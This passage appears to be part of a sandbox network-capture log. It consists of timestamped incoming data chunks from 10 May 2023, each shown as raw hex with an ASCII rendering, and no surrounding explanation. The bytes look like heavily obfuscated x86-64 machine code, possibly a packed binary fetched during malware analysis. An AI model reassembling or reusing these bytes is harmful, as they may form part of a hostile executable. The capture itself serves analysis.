38 b1 05 00 45 33 d1 e9 85 c8 00 00 f7 df f9 f8 c1 c7 03 e9 57 ee 0d 00 89 7d 08 66 87 ff 66 0f 4c fd 9c 0f ac ff 60 8f 44 25 00 40 d2 c7 66 41 0f 41 fa Data Ascii: aUH=mEAQD1$AYMcIE:AiI8zMcMI8AhI*&@/fH3fD7ARAPfD3fADL%fHE3@@A8fNLq8E3W}ffL`D%@fAA
2023-05-10 00:21:17 UTC	5824	IN	Data Raw: 9f 48 0f bb c8 9f 41 02 eb 66 41 89 68 08 66 41 0f be c5 9c 66 b8 20 6b 32 c3 66 41 0f be c3 41 8f 00 41 8b 01 49 81 c1 04 00 00 00 66 41 f7 c6 db 3b 33 c3 f5 d1 c8 f9 f7 d8 f5 e9 d9 27 0e 00 ff e6 56 c3 d1 c9 f8 3b f8 81 e9 85 76 fa 36 41 52 31 0c 24 41 d3 ea 66 44 1b d6 41 5a 48 63 c9 48 03 d9 e9 8f a3 03 00 4d 8b 00 66 0f ba ff c9 40 c0 c7 fe 49 63 fc 41 8b 39 e9 33 8a 02 00 e9 53 e1 07 00 05 69 4a 91 31 f9 f5 f7 d0 35 3a 7a 62 20 66 85 df f7 d8 41 f6 c2 2a 05 a2 5b 79 69 45 84 f3 f7 d0 41 51 41 0f c9 31 04 24 41 59 f5 48 63 c0 41 f7 c7 17 76 f1 0c 44 84 cd 48 03 d8 e9 dc 27 0d 00 ff e6 00 e8 46 70 3e 7e 76 77 49 c4 27 7e d0 52 17 79 a7 f1 82 1d 39 67 b2 1a 4e dd e3 13 d7 4b d3 14 a0 da ce ab 30 4c fe ac 47 f6 af a5 de 60 9f a2 a9 c3 0a c6 37 55 3a c1 Data Ascii: HAfAhfAf k2fAAAIfA;3'V;v6AR1$AfDAZHcHMf@IcA93SiJ15:zb fA*[yiEAQA1$AYHcAvDH'Fp>~vwI'~Ry9gNK0LG`7U:
2023-05-10 00:21:17 UTC	5840	IN	Data Raw: a3 f7 66 41 8b 78 08 f9 49 81 c0 0a 00 00 00 41 80 fc 97 40 84 de 36 66 41 89 3a 4d 0f b7 d5 41 80 c2 07 66 41 c1 c2 2a 48 81 eb 04 00 00 00 41 f7 c0 8e 1c 15 7c 41 fe c2 44 8b 13 f8 44 33 d6 41 ff c2 f9 f8 41 81 f2 5e 16 b5 5e e9 3b 0d 10 00 9c 41 8f 01 66 40 0f b6 c7 49 81 ea 04 00 00 00 41 8b 02 f5 f8 41 33 c3 f9 c1 c8 03 e9 ce 64 0c 00 41 80 fa 18 41 81 e9 4a 12 0e 12 41 81 f1 03 33 06 62 f5 f9 80 fe b2 41 f7 d9 e9 68 85 0b 00 44 3a d8 41 53 44 22 dc 41 80 e3 80 66 41 81 eb 44 76 31 2c 24 41 81 f3 2b 33 23 11 49 0f ba fb 7f 4d 0f bf df 41 5b 66 44 85 c8 48 63 ed 48 03 f5 e9 b1 aa 06 00 41 ff c0 41 f6 c5 b4 f8 f9 41 81 f0 70 63 0f 09 f9 41 c1 c8 03 41 53 4c 0f b7 d8 41 f6 c4 ba 44 31 04 24 66 41 d3 f3 66 41 c1 c3 a5 41 5b f8 4d 63 c0 49 03 f0 e9 a3 95 Data Ascii: fAxIA@6fA:MAfA*HA\|ADD3AA^^;Af@IAA3dAAJA3bAhD:ASD"AfADv1,$A+3#IMA[fDHcHAAApcAASLAD1$fAfAA[McI
2023-05-10 00:21:17 UTC	5856	IN	Data Raw: 21 42 03 f5 b7 72 04 82 0d 23 0d 1b 9b 13 0a 6c 0a 0e b5 fc 9c 3e b2 8b 26 6f bb 12 b0 5f bc 65 13 ca d8 fb 85 fa df 8c 3f ab d6 15 a9 9b d1 62 41 53 44 31 04 24 41 0f ab d3 66 45 0f bd d8 66 45 8b de 41 5b 4d 63 c0 44 85 e5 41 3a c1 f9 4d 03 d0 e9 7d 0a 01 00 44 8b 0f 40 80 c6 1a 66 41 0f bd f1 0f c0 ff 48 81 c7 04 00 00 00 0f b6 5c 25 00 48 81 c5 01 00 00 00 41 32 db 40 0f 9f c6 fe cb 66 0f be f1 f6 d3 66 d3 de 66 c1 c6 72 66 81 ee ad 61 80 eb e1 e9 1c 8d 01 00 0f 31 66 41 81 d1 36 30 41 d2 e9 49 81 e8 08 00 00 00 66 41 81 d9 f9 06 41 c0 d1 e1 41 89 10 41 89 40 04 48 81 eb 04 00 00 00 45 0f 44 ca 66 f7 c5 b7 50 44 8b 0b f5 f8 44 33 ce e9 f1 e9 01 00 f9 41 81 e9 dc 44 45 0c 44 3a d3 f6 c3 ca 41 f7 d9 41 c1 c1 02 e9 38 6c 04 00 e9 f3 aa 01 00 4c 03 cd e9 Data Ascii: !Br#l>&o_e?bASD1$AfEfEA[McDA:M}D@fAH\%HA2@fffrfa1fA60AIfAAAA@HEDfPDD3ADED:AA8lL
2023-05-10 00:21:17 UTC	5872	IN	Data Raw: 9c 66 45 0f b3 f3 8f 07 48 81 ed 04 00 00 00 41 b3 10 66 41 81 f3 58 24 41 0f cb 44 8b 5c 25 00 41 81 fe a0 53 cc 2f e9 13 19 08 00 49 f7 c6 c8 4b 9c 7c 33 fb e9 00 fe 0a 00 49 81 ea 01 00 00 00 40 d2 ff 48 0f ba e6 91 41 0f b6 32 40 12 fb 66 d3 ef 66 0f 4b fa 41 32 f1 66 0f b3 ff 40 f6 d7 49 0f b7 fc 40 80 c6 a4 40 f6 d6 66 44 0f bb ff 40 80 ee 64 d3 d7 66 81 cf 4e 50 66 d3 cf 40 f6 d6 40 b7 db 44 32 ce 48 81 ed 02 00 00 00 66 89 74 25 00 41 0f bf ff 44 0f a4 e7 59 66 0f a3 e7 49 81 ea 04 00 00 00 41 0f b7 fb 40 0f 99 c7 41 8b 3a 66 f7 c3 ed 60 41 33 f9 41 85 e5 66 41 f7 c2 ed 65 81 c7 e8 5c 35 53 81 f7 78 3c 35 12 41 f6 c1 85 81 c7 04 4b 71 29 c1 c7 03 ff c7 e9 2e ad 07 00 ff cf f8 48 f7 c5 5f 71 a1 07 f7 df e9 18 cc 06 00 48 8b 0f 36 66 44 8b 11 48 0f Data Ascii: fEHAfAX$AD\%AS/IK\|3I@HA2@ffKA2f@I@@fD@dfNPf@@D2Hft%ADYfIA@A:f`A3AfAe\5Sx<5AKq).H_qH6fDH
2023-05-10 00:21:17 UTC	5888	IN	Data Raw: 00 41 c0 d1 a6 4d 0f ac f1 74 41 d2 c9 66 41 d3 e0 44 0f b7 c8 66 44 89 45 08 44 0f b7 cb 45 86 c9 66 41 0f c9 9c 4d 0f a3 d9 41 80 d9 6f 8f 44 25 00 44 8b 0b 3d ad 1b e9 40 66 f7 c7 b0 3f f8 48 81 c3 04 00 00 00 45 33 cb f5 41 81 e9 12 4a b0 35 f9 41 80 f9 05 f8 41 81 f1 32 0d 46 2a e9 b8 51 03 00 66 41 89 78 08 40 f6 d7 40 b7 f4 9c 41 02 fe 66 81 df 05 0a 40 c0 ff 7a 41 8f 00 41 8b 39 49 81 c1 04 00 00 00 33 fb ff cf e9 7b 61 0b 00 41 ff c2 f8 41 d1 ca e9 51 9a fe ff 40 fe cf e9 48 80 04 00 8b 44 25 00 41 81 c0 e8 7c 22 08 44 8a c6 44 8b 45 04 e9 55 03 01 00 66 0f b6 07 e9 e5 cb 01 00 81 fb 02 00 00 00 e9 7b e3 08 00 41 81 f2 cb 38 99 7a e9 48 82 02 00 41 53 49 c1 f3 41 66 45 0f b6 da 31 04 24 41 80 db 83 41 0f a4 d3 c4 44 12 db 41 5b 66 f7 c2 fd 07 41 Data Ascii: AMtAfADfDEDEfAMAoD%D=@f?HE3AJ5AA2F*QfAx@@Af@zAA9I3{aAAQ@HD%A\|"DDEUf{A8zHASIAfE1$AADA[fA
2023-05-10 00:21:17 UTC	5904	IN	Data Raw: 62 7c 00 57 f4 4c 07 20 4e 1d 0e b9 d8 2d 09 ce e5 00 6f 78 73 30 68 0f c9 61 61 96 5f 51 66 e1 fc c4 02 7f 6a f4 05 08 d0 a5 0c 91 46 95 0b e6 d7 88 b4 76 41 b8 b3 01 fb e9 ba 98 6d d9 bd ef ce 4c d9 71 58 7c de 06 e2 2d d7 9f 74 1d d0 e8 81 10 d8 65 17 20 df 12 ad 71 d6 8b 3b 41 d1 fc 98 d4 b5 62 0e e4 b2 15 b4 b5 bb 8c 22 85 bc fb b3 98 03 6b 25 a8 04 1c 9f f9 0d 85 09 c9 0a f2 aa 5c 6e 6c 3c 6c 69 1b 86 3d 60 82 10 0d 67 f5 9d e2 65 d8 0b d2 62 af b1 83 6b 36 27 b3 6c 41 84 26 08 df 12 16 0f a8 a8 47 06 31 3e 77 01 46 af 6a be d6 39 5a b9 a1 83 0b b0 38 15 3b b7 4f b6 ae d3 d1 20 9e d4 a6 9a cf dd 3f 0c ff da 48 f9 f2 d2 c5 6f c2 d5 b2 d5 93 dc 2b 43 a3 db 5c e0 36 bf c2 76 06 b8 b5 cc 57 b1 2c 5a 67 b6 5b cb 7a 09 cb 5d 4a 0e bc e7 1b 07 25 71 2b 00 Data Ascii: b\|WL N-oxs0haa_QfjFvAmLqX\|-te q;Ab"k%\nl<li=`gebk6'lA&G1>wFj9Z8;O ?Ho+C\6vW,Zg[z]J%q+
2023-05-10 00:21:17 UTC	5920	IN	Data Raw: 40 c7 41 8b 01 49 81 c1 04 00 00 00 45 84 f6 33 c3 e9 d4 68 0f 00 44 8b 17 0f 98 c1 8a 4f 04 48 81 ef 06 00 00 00 45 3b c7 41 d3 e2 e9 1e a8 fe ff 44 8b 44 25 00 66 44 0f ac d2 be e9 8a 24 04 00 48 8b 4c 25 00 45 84 fa c0 f8 59 1c a6 4c 8b 5d 08 48 63 c5 48 81 c5 10 00 00 00 24 35 4c 89 19 0f b7 c2 c1 e0 76 98 49 81 ea 04 00 00 00 41 8b 02 e9 d5 2e 0c 00 ff cf e9 fd 0d 0d 00 e9 f6 d3 fd ff 0f ca e9 56 63 0b 00 ff cf f7 df f8 f5 f9 c1 c7 03 41 81 fb 62 3b 03 27 f5 f7 df 81 f7 18 12 65 48 e9 cc c5 fe ff 44 3a dc 48 81 c5 04 00 00 00 f9 45 33 c3 f5 40 f6 c5 b0 41 81 e8 48 76 07 3a f8 e9 27 8b 08 00 e9 20 ab 00 00 8b 47 04 66 0f be e8 8b 17 8b 4f 08 66 d3 c5 48 81 ef 04 00 00 00 f7 f1 66 41 0f be ed 89 57 08 87 ed 41 0f bf ea 49 0f bf ef 89 47 0c 41 0f bf e9 Data Ascii: @AIE3hDOHE;ADD%fD$HL%EYL]HcH$5LvIA.VcAb;'eHD:HE3@AHv:' GfOfHfAWAIGA
2023-05-10 00:21:17 UTC	5936	IN	Data Raw: 19 fb 7c 0f cd f8 f5 c1 c5 02 f5 56 40 80 de db 31 2c 24 40 80 d6 37 66 41 8b f0 5e 48 63 ed 44 3b dd e9 59 05 06 00 41 ff c1 41 0f c9 41 52 66 85 dd 45 0f b7 d5 44 31 0c 24 41 c1 c2 99 41 5a 4d 63 c9 49 03 d9 e9 97 a1 07 00 e9 b3 6e 0a 00 e9 0f 06 03 00 f7 c3 19 49 0d 31 56 41 0f bd f3 40 c0 fe 9a 31 04 24 40 d2 d6 49 0f b7 f1 0f bc f4 5e 48 63 c0 48 03 e8 e9 00 fa 0c 00 48 03 f7 e9 70 f0 0b 00 ff e5 85 c6 0f cf 66 41 f7 c0 3d 6d 41 80 fa 34 41 3a c6 41 53 49 0f b3 d3 66 41 c1 c3 40 31 3c 24 66 41 0f ab c3 41 5b 48 63 ff 48 03 f7 e9 3d d0 00 00 66 44 8b 17 c0 e5 fd 66 41 bb ad 3d f5 66 44 8b 5f 02 48 81 ef 06 00 00 00 66 41 f7 d2 d2 f5 f5 66 41 f7 d3 66 45 23 d3 49 0f b7 cf 41 0f bf cf 66 44 89 57 08 0f 94 c1 b1 d1 9c d2 dd c0 f1 e9 d2 cd 8f 07 f9 0f ab Data Ascii: \|V@1,$@7fA^HcD;YAAARfED1$AAZMcInI1VA@1$@I^HcHHpfA=mA4A:ASIfA@1<$fAA[HcH=fDfA=fD_HfAfAfE#IAfDW
2023-05-10 00:21:17 UTC	5952	IN	Data Raw: 03 00 f5 41 f7 d1 41 c1 c1 03 41 f7 d9 80 fc 3e 56 44 31 0c 24 40 c0 f6 a0 81 f6 bc 31 44 4f 66 81 c6 f2 55 5e 4d 63 c9 41 f6 c1 9b 4d 03 d9 e9 09 e7 0f 00 89 4f 08 66 0f be cb 9c f6 d5 66 41 03 cf 80 e9 6a 8f 07 41 3a d4 41 8b 08 44 3b c3 f8 f9 49 81 c0 04 00 00 00 33 ce e9 79 d1 fd ff 66 85 e0 41 51 31 34 24 41 80 e1 00 41 59 48 63 f6 f9 49 f7 c3 ff 5b 73 00 66 45 3b cb 48 03 de 53 c3 ff c1 53 f6 db d3 eb 1a de 31 0c 24 f8 66 41 0f b6 de 5b 48 63 c9 e9 f8 48 08 00 48 81 c5 0a 00 00 00 e9 38 71 09 00 f7 de f5 e9 1b e2 0f 00 0f 84 24 c2 05 00 48 8d 05 a2 f8 0e 00 e9 d3 c3 09 00 f8 41 22 f3 66 44 0f 49 d9 66 89 75 08 66 45 87 db 4d 0f bf df 9c f8 49 0f ba fb b9 8f 44 25 00 e9 9b 4f 06 00 41 ff c1 f5 41 3b c9 f6 c1 80 41 0f c9 49 81 fd dc 77 1f 22 41 f7 d1 Data Ascii: AAA>VD1$@1DOfU^McAMOffAjA:AD;I3yfAQ14$AAYHcI[sfE;HSS1$fA[HcHH8q$HA"fDIfufEMID%OAA;AIw"A
2023-05-10 00:21:17 UTC	5968	IN	Data Raw: f5 41 53 41 c0 fb 35 66 41 d3 fb 31 0c 24 4c 0f bd d9 41 5b 48 63 c9 66 3d 14 40 f8 4c 03 d1 e9 e2 76 02 00 35 f5 4a 8e 12 e9 91 c6 00 00 41 81 c2 cd 01 70 08 f5 41 d1 ca 80 fd c7 56 1b f3 44 31 14 24 66 44 0f a4 e6 8b 66 44 0f b3 c6 66 0f c1 f6 5e 80 fc fb 4d 63 d2 44 84 de 4d 03 ca e9 8a eb ff ff 0f c9 e9 af 8a 04 00 66 0f a3 d0 f9 48 0f ce 48 f7 de fe c8 48 ff c6 45 85 c3 49 0f b7 c2 48 0f bd c7 48 f7 d6 66 41 81 fe 7a 51 0f a4 e8 ab 48 81 c6 7a 02 99 03 48 d3 c0 c0 f0 49 80 dc e2 4c 33 ce 48 c1 f8 78 48 81 ed 08 00 00 00 48 89 74 25 00 49 81 ea 04 00 00 00 d2 f4 32 e6 41 8b 02 49 81 f9 52 35 51 10 66 3b dc 41 33 c1 0f c8 35 48 5b 35 0e e9 fa 9c 01 00 66 44 8b 17 66 c1 cb 47 66 0f b3 eb 66 8b 5f 02 66 44 0f b3 f0 12 e4 41 f6 c0 d2 48 81 ef 06 00 00 00 Data Ascii: ASA5fA1$LA[Hcf=@Lv5JApAVD1$fDfDf^McDMfHHHEIHHfAzQHzHIL3HxHHt%I2AIR5Qf;A35H[5fDfGff_fDAH
2023-05-10 00:21:17 UTC	5984	IN	Data Raw: 0f ba f9 05 66 0f ab f9 41 8f 01 80 f1 d7 87 c9 0a e8 49 81 ea 04 00 00 00 80 e9 8d 66 c1 c1 16 0f bf cf 41 8b 0a f8 41 80 fa df 41 33 cb e9 66 19 10 00 ff c0 c1 c8 03 e9 b2 26 09 00 66 44 85 d2 41 3a c3 49 89 19 49 81 ea 04 00 00 00 41 8b 1a 41 33 db e9 9e 36 08 00 4c 8b 54 25 00 66 41 0f b6 3a 41 c0 f8 04 45 2b c4 48 81 c5 06 00 00 00 66 89 7c 25 00 44 8b 03 f9 e9 90 4f 0f 00 44 0f b6 0b 4c 33 d5 66 41 0f ba f2 07 41 80 c8 13 48 81 c3 01 00 00 00 66 41 c1 ca 05 41 0f ca 45 32 cb 45 0a d5 41 f6 d9 45 86 c0 41 f6 d1 41 f6 d0 66 41 ff c2 e9 8f 53 09 00 9c 41 8f 00 40 80 f7 c5 4c 0f b3 e7 48 81 eb 04 00 00 00 40 80 c7 75 48 c1 df 92 66 0f ac f7 9a 8b 3b 41 80 fa 08 66 41 85 d5 f9 33 fe e9 23 a0 fd ff f8 48 63 c0 41 3a ce 48 03 f0 e9 45 14 0a 00 e9 91 f7 10 Data Ascii: fAIfAAA3f&fDA:IIAA36LT%fA:AE+Hf\|%DODL3fAAHfAAE2EAEAAfASA@LH@uHf;AfA3#HcA:HE
2023-05-10 00:21:17 UTC	6000	IN	Data Raw: e9 33 17 0f 00 41 50 c3 66 8b 6c 25 00 66 81 f2 41 27 40 84 ef 8b 16 44 3a c3 48 81 c6 04 00 00 00 41 33 d2 f8 d1 c2 81 f2 98 5b 6d 62 e9 3a 66 ff ff 8b 1b 0f bc c0 49 81 eb 04 00 00 00 66 0b c2 66 90 66 1d 6c 2a 41 8b 03 66 41 3b fe 80 fd 1f 33 c6 66 41 81 fd 73 59 f8 f9 2d 46 7b 9e 4e 35 7e 5b 21 54 c1 c0 02 2d 1e 0e 14 6a f8 f9 d1 c0 e9 db b0 01 00 f7 d5 f5 4d 3b e7 e9 2c ad 00 00 4c 8b 0f 41 c1 e8 3d 66 41 81 e8 2e 2b 66 44 0f bd c7 36 45 8b 01 66 1d de 4f 48 81 c7 04 00 00 00 0f b7 c4 d3 d8 0f 90 c0 44 89 07 66 d3 f8 66 f7 d0 66 40 0f be c7 8b 44 25 00 f9 48 81 c5 04 00 00 00 41 33 c3 48 85 d1 f6 c3 c1 f5 f7 d0 3c 3a e9 ef e4 05 00 0f 31 4d 8b cb 4c 0f bf c8 48 81 ef 08 00 00 00 45 86 c9 89 17 41 b9 c3 25 0f 0c 41 c0 e9 bb 41 fe c1 89 47 04 f9 49 0f Data Ascii: 3APfl%fA'@D:HA3[mb:fIfffl*AfA;3fAsY-F{N5~[!T-jM;,LA=fA.+fD6EfOHDfff@D%HA3H<:1MLHEA%AAGI
2023-05-10 00:21:17 UTC	6016	IN	Data Raw: fe 7b ff ff e9 66 ef 05 00 e9 61 ef 05 00 48 63 f6 81 fb 0c 51 4c 37 4c 03 d6 e9 98 ad 07 00 45 3a ef 45 84 ef 41 89 41 0c 41 89 59 08 66 85 ec f6 c2 2d 41 89 49 04 f9 41 89 11 66 41 13 d3 f5 41 8a d3 49 81 ea 04 00 00 00 41 8b 12 48 f7 c7 88 49 b5 58 41 33 d3 ff c2 f5 f8 f7 d2 e9 fd 6e 01 00 41 89 41 08 9c 41 8f 01 4c 0f b3 f8 48 0f bd c1 49 81 ea 04 00 00 00 41 8b 02 f5 41 33 c3 ff c0 0f c8 f9 d1 c8 66 81 ff 14 5f f7 d0 f5 41 53 31 04 24 41 5b 66 41 3b d8 48 63 c0 e9 58 e0 05 00 f8 66 44 3b e7 f7 d2 f5 81 ea 16 3b 50 1c 66 41 81 fb ef 11 f8 f7 d2 f5 f6 c1 f2 4c 3b cd 56 49 0f bf f0 e9 66 4a fc ff 41 ff ca 41 f7 d2 41 51 40 3a e0 44 31 14 24 66 45 85 c0 66 45 0f ab f9 41 59 4d 63 d2 4d 03 c2 e9 e0 36 06 00 48 63 ff e9 ee d1 02 00 48 81 c3 04 00 00 00 f9 Data Ascii: {faHcQL7LE:EAAAYf-AIAfAAIAHIXA3nAAALHIAA3f_AS1$A[fA;HcXfD;;PfAL;VIfJAAAQ@:D1$fEfEAYMcM6HcH
2023-05-10 00:21:17 UTC	6032	IN	Data Raw: 45 33 c2 f9 f5 66 41 85 f7 41 0f c8 48 f7 c3 71 62 5b 11 f8 41 81 e8 f1 62 e8 62 41 0f c8 f5 41 c1 c0 02 e9 5f ea 07 00 8b 7c 25 00 8b 45 04 66 44 0f 43 c3 41 81 d0 8e 39 b2 74 48 81 ed 04 00 00 00 49 c1 e0 4d f7 d7 45 0f b7 c4 66 45 0f c1 c0 f7 d0 4c 0f bd c5 23 f8 41 b0 ff 45 0f bf c7 89 7d 08 4d 0f bf c5 44 0f b7 c7 9c 49 0f bb f8 66 44 0f bc c1 41 0f ab e0 8f 44 25 00 66 41 d3 f8 49 81 c8 18 2d 89 28 44 8b 06 40 3a d6 48 81 c6 04 00 00 00 f8 84 dd 45 33 c2 f9 e9 2a 2c fd ff 48 8b 17 48 8b 47 08 66 41 f7 c5 6e 68 f9 41 80 ff 96 48 f7 d2 48 f7 d0 48 0b d0 e9 3a 1b 00 00 41 89 69 08 40 0f 90 c5 40 b5 cd 49 0f b7 ef 9c 49 0f b7 ee 41 8f 01 49 81 ea 04 00 00 00 66 41 0f bd e9 66 d3 fd 40 86 ed 41 8b 2a 4c 85 f9 f5 41 33 eb e9 b1 6a ff ff 48 8b 07 66 41 0f Data Ascii: E3fAAHqb[AbbAA_\|%EfDCA9tHIMEfEL#AE}MDIfDAD%fAI-(D@:HE3,HHGfAnhAHHH:Ai@@IIAIfAf@ALA3jHfA
2023-05-10 00:21:17 UTC	6048	IN	Data Raw: 81 f2 44 76 70 4d f5 d1 c2 ff c2 41 52 31 14 24 45 0f c0 d2 66 44 0f be d1 41 d2 ca 41 5a 49 3b f4 f9 48 63 d2 48 03 da e9 67 e1 03 00 e9 8b 76 06 00 ff c2 f5 c1 ca 02 e9 ef 5a 08 00 41 c1 c0 02 4d 3b e3 41 80 fa 38 41 81 e8 14 59 0d 0d f9 41 f6 c4 23 41 81 f0 a2 17 89 46 41 53 44 31 04 24 66 41 f7 db 66 45 0f 47 da 44 12 de 41 5b 4d 63 c0 49 03 f0 e9 9b b9 09 00 41 84 cc 41 8b 34 b0 c1 e8 08 33 c6 e9 47 2b fe ff 48 ff c2 41 81 f0 0d 4b 01 3c e9 53 cc 0c 00 48 8b 0f 9f fe cc 66 0f b3 e0 36 66 8b 31 8a e0 40 1a c7 66 40 0f be c5 48 81 c7 06 00 00 00 4c 0f ab f0 66 89 37 48 d3 f0 48 0f b7 c1 40 8a c4 48 81 ed 04 00 00 00 0f ba e0 d6 8b 44 25 00 45 84 f3 f5 41 33 c1 41 f6 c1 9e 2d bc 75 da 63 c1 c0 02 e9 90 a7 05 00 ff e3 4c 8b 03 66 81 cf 51 39 80 c1 a4 48 Data Ascii: DvpMAR1$EfDAAZI;HcHgvZAM;A8AYA#AFASD1$fAfEGDA[McIAA43G+HAK<SHf6f1@f@HLf7HH@HD%EA3A-ucLfQ9H
2023-05-10 00:21:17 UTC	6064	IN	Data Raw: b1 bb 73 fe 27 8b 74 89 b6 96 cb 19 20 a6 cc 6e 9a f7 c5 f7 0c c7 c2 80 af 52 a6 1e 39 62 a1 69 83 33 a8 f0 15 03 af 87 e0 0e a7 0a 76 3e a0 7d cc 6f a9 e4 5a 5f ae 93 f9 ca ca 0d 6f fa cd 7a d5 ab c4 e3 43 9b c3 94 d2 86 7c 04 44 b6 7b 73 fe e7 72 ea 68 d7 75 9d cb 42 11 03 5d 72 16 74 e7 23 1f ed 71 13 18 9a fc fc 1a b7 6a cc 1d c0 d0 9d 14 59 46 ad 13 2e e5 38 77 b0 73 08 70 c7 c9 59 79 5e 5f 69 7e 29 ce 74 c1 b9 58 44 c6 ce e2 15 cf 57 74 25 c8 20 d7 b0 ac be 41 80 ab c9 fb d1 a2 50 6d e1 a5 27 98 ec ad aa 0e dc aa dd b4 8d a3 44 22 bd a4 33 81 28 c0 ad 17 18 c7 da ad 49 ce 43 3b 79 c9 34 aa 64 76 a4 3c 54 71 d3 86 05 78 4a 10 35 7f 3d b3 a0 1b a3 25 90 1c d4 9f c1 15 4d 09 f1 12 3a 34 dc 74 8c a2 ec 73 fb 18 bd 7a 62 8e 8d 7d 15 2d 18 19 8b bb 28 1e Data Ascii: s't nR9bi3v>}oZ_ozC\|D{srhuB]rt#qjYF.8wspYy^_i~)tXDWt% APm'D"3(IC;y4dv<TqxJ5=%M:4tszb}-(
2023-05-10 00:21:18 UTC	6080	IN	Data Raw: 24 b2 c3 db b2 82 c4 ac 23 9f 7b 3c b5 af 7c 4b 0f fe 75 d2 99 ce 72 a5 3a 5b 16 3b ac 6b 11 4c 16 3a 18 d5 80 0a 1f a2 75 07 17 2f e3 37 10 58 59 66 19 c1 cf 56 1e b6 6c c3 7a 28 fa f3 7d 5f 40 a2 74 c6 d6 92 73 b1 47 8f cc 21 d1 bf cb 56 6b ee c2 cf fd de c5 b8 5e 4b a1 26 c8 7b a6 51 72 2a af c8 e4 1a a8 bf 69 f5 aa 92 ff c5 ad e5 45 94 a4 7c d3 a4 a3 0b 70 31 c7 95 e6 01 c0 e2 5c 50 c9 7b ca 60 ce 0c 5b 7d 71 9c cd 4d 76 eb 77 1c 7f 72 e1 2c 78 05 42 b9 1c 9b d4 89 1b ec 6e d8 12 75 f8 e8 15 02 0d e5 1d 8f 9b d5 1a f8 21 84 13 61 b7 b4 14 16 14 21 70 88 82 11 77 ff 38 40 7e 66 ae 70 79 11 3f 6d c6 81 a9 5d c1 f6 13 0c c8 6f 85 3c cf 18 26 a9 ab 86 b0 99 ac f1 0a c8 a5 68 9c f8 a2 1f a1 d5 c4 a9 37 e5 c3 de 8d b4 ca 47 1b 84 cd 30 b8 11 a9 ae 2e 21 ae Data Ascii: $#{<\|Kur:[;kL:u/7XYfVlz(}_@tsG!Vk^K&{Qr*iE\|p1\P{`[}qMvwr,xBnu!a!pw8@~fpy?m]o<&h7G0.!
2023-05-10 00:21:18 UTC	6096	IN	Data Raw: 32 cf 66 45 0f ac d8 5c 45 12 c6 66 44 8b 1c 3c f9 49 81 d8 74 09 8f 32 48 81 ed 02 00 00 00 66 44 89 5c 25 00 49 f7 c1 bc 70 eb 53 66 44 0f bc c7 49 81 ea 04 00 00 00 41 fe c8 45 8b 02 f5 e9 4a 07 00 00 49 8b 09 d2 fb 41 8a 59 08 66 41 c1 e8 45 45 22 c6 44 32 c3 49 81 c1 0a 00 00 00 45 8a c7 88 19 49 81 ea 04 00 00 00 45 2a c5 41 80 c8 7a 41 d3 e8 45 8b 02 e9 2e b4 03 00 66 0f b6 3b 41 fe ca 49 81 d2 7e 2b 3a 2d 8a 4b 02 48 81 eb 06 00 00 00 45 0f bf d4 41 0f a4 ea f2 66 41 0f ba f2 f4 40 d2 ef 41 ba d8 11 cb 5a 41 0f 9e c2 49 0f ca 66 89 7b 08 44 8a d1 9c 8f 03 f5 41 d2 ca 41 80 c2 d4 49 81 eb 04 00 00 00 66 45 87 d2 45 8b 13 f9 f8 44 33 d6 48 81 f9 46 25 3a 1e 49 f7 c7 01 0d 1b 1b 41 81 ea 81 6b 70 5c f9 41 d1 ca 41 81 f2 1a 2b a2 15 e9 72 0d 08 00 48 Data Ascii: 2fE\EfD<It2HfD\%IpSfDIAEJIAYfAEE"D2IEIE*AzAE.f;AI~+:-KHEAfA@AZAIf{DAAIfEED3HF%:IAkp\AA+rH
2023-05-10 00:21:18 UTC	6112	IN	Data Raw: c1 04 00 00 00 f8 e9 db 81 0a 00 e9 c3 34 04 00 66 41 8b 10 40 c0 d5 8f 44 0f b3 fd 49 81 c0 02 00 00 00 41 0f b6 29 66 41 0f be fa 41 0f b7 f8 66 c1 d7 8a 49 81 c1 01 00 00 00 0f ba f7 3e 40 32 eb f8 40 d0 c5 66 2b fb 40 80 ed 87 d3 f7 40 0f 97 c7 66 ff cf 40 80 f5 89 40 fe cd 40 f6 d7 40 f6 d5 49 0f bf ff 40 86 ff 40 fe cd 66 c1 f7 19 40 80 df 18 48 0f ba ff 58 40 80 f5 92 40 86 ff 48 0f bf ff 48 ff c7 40 fe cd 48 0f bc f9 66 41 0f bd fd 66 1b f8 40 f6 d5 40 32 dd 88 14 2c 41 8b 39 49 81 c1 04 00 00 00 f9 66 41 3b cf 33 fb e9 11 cf 0c 00 c1 c5 03 40 3a ff f8 81 ed 44 5d 71 1a e9 f8 b8 05 00 41 8b 38 66 c1 dd 73 66 0f ac c1 af 41 8b 68 04 49 81 e8 04 00 00 00 c0 d5 b1 c0 ed 3d fe c1 03 fd 41 89 78 08 9c fe c9 4c 0f a4 f9 eb 0f 9f c5 41 8f 00 48 81 eb 04 Data Ascii: 4fA@DIA)fAAfI>@2@f+@@f@@@@I@@f@HX@@HH@HfAf@@2,A9IfA;3@:D]qA8fsfAhI=AxLAH
2023-05-10 00:21:18 UTC	6128	IN	Data Raw: 3a ef 84 d7 81 c5 75 02 96 4e f9 41 f6 c5 a8 0f cd f5 f9 44 3b fa f7 d5 81 f5 d8 67 70 4e f8 f9 c1 c5 03 f9 66 41 f7 c4 bf 59 81 c5 c2 30 11 55 56 40 c0 c6 ae 40 d2 c6 31 2c 24 41 0f bf f2 5e f9 f8 48 63 ed e9 3d 20 0e 00 53 48 d3 fb 80 df 86 80 cb 12 31 04 24 48 d3 e3 5b 48 63 c0 66 41 85 cc 4c 03 d0 e9 4b 30 07 00 0f cf ff cf f9 f7 d7 f5 0f cf f8 c1 cf 03 f8 f9 0f cf f9 f5 41 53 41 c0 cb 19 4c 0f bf db 31 3c 24 41 5b 48 63 ff 48 03 f7 e9 4a c4 00 00 f7 db e9 b7 09 0a 00 4d 63 d2 f8 4d 03 c2 e9 d2 cc 04 00 41 ff e3 e9 60 1f fc ff 48 8b 44 25 00 48 81 f7 b3 59 1a 57 41 d2 eb 66 44 8b 18 48 d3 e7 66 41 13 fe 49 f7 c0 24 44 36 62 48 81 c5 06 00 00 00 48 0f bd fb 40 0f c0 ff 66 44 89 5c 25 00 40 32 fb 66 0f ab c7 81 fd f9 49 af 26 49 81 ea 04 00 00 00 41 8b Data Ascii: :uNAD;gpNfAY0UV@@1,$A^Hc= SH1$H[HcfALK0ASAL1<$A[HcHJMcMA`HD%HYWAfDHfAI$D6bHH@fD\%@2fI&IA
